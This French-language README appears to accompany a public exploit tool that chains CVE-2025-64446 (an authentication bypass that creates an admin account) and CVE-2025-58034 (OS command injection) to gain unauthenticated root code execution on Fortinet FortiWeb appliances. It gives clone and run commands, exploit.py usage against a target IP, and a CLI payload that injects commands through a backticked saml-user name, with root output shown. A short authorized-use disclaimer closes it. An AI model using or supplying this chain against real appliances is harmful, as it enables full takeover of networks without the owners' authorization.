
Exploit d'exécution de code à distance (RCE) sur FortiWeb via la chaîne CVE-2025-64446 + CVE-2025-58034
Ce script enchaîne deux vulnérabilités critiques de Fortinet FortiWeb pour parvenir à une exécution de code à distance non authentifiée avec les privilèges root :
CVE-2025-64446 – Contournement d'authentification par traversée de chemin relative
Permet à un attaquant non authentifié de contourner l'authentification et de créer un nouveau compte administratif.
CVE-2025-58034 – Injection de commandes OS authentifiée
Un attaquant authentifié (à l'aide du compte créé à l'étape 1) peut exécuter des commandes OS arbitraires en tant que root via des requêtes HTTP spécialement conçues.
En combinant ces deux vulnérabilités, un attaquant peut passer d'un accès nul à un compromission totale du système sans aucun identifiant préalable.
Impact final : Exécution de code à distance non authentifiée (équivalent à un shell root)
Chaîne d'attaque combinée :
Cloner le dépôt :
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
Installer les dépendances :
pip install -r requirements.txt
Exécuter l'exploit complet (crée un administrateur + exécute une commande) :
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip> : l'adresse IP ou le nom d'hôte de l'appliance FortiWeb vulnérable. Il s'agit d'un argument obligatoire.-u <username> (facultatif) : spécifier un nom d'utilisateur personnalisé pour le compte administratif créé. S'il n'est pas fourni, un UUID sera utilisé.-p <password> (facultatif) : spécifier un mot de passe personnalisé pour le compte administratif créé. S'il n'est pas fourni, le nom d'utilisateur sera utilisé comme mot de passe.Exemple :
python exploit.py 192.168.1.100 -u admin123 -p password456
Cela tentera de créer un compte administratif avec le nom d'utilisateur « admin123 » et le mot de passe « password456 » sur l'appliance cible à 192.168.1.100.
Si aucun nom d'utilisateur ni mot de passe n'est spécifié :


Après s'être connecté avec succès à l'aide du compte administratif nouvellement créé, un attaquant peut exploiter la vulnérabilité d'injection de commandes authentifiée via des requêtes spécialement conçues ou directement via la CLI FortiWeb.
Une méthode d'exploitation fiable consiste à utiliser la commande CLI suivante (exécutée depuis l'interface en ligne de commande FortiWeb après authentification) :
config user saml-user
edit "`<VOTRE COMMANDE>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

Après l'exécution :
uid=0(root) gid=0(root) confirme la RCE root)Avertissement : Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.
python exploit.py 192.168.1.100
Le script générera un UUID aléatoire pour le nom d'utilisateur et l'utilisera comme mot de passe.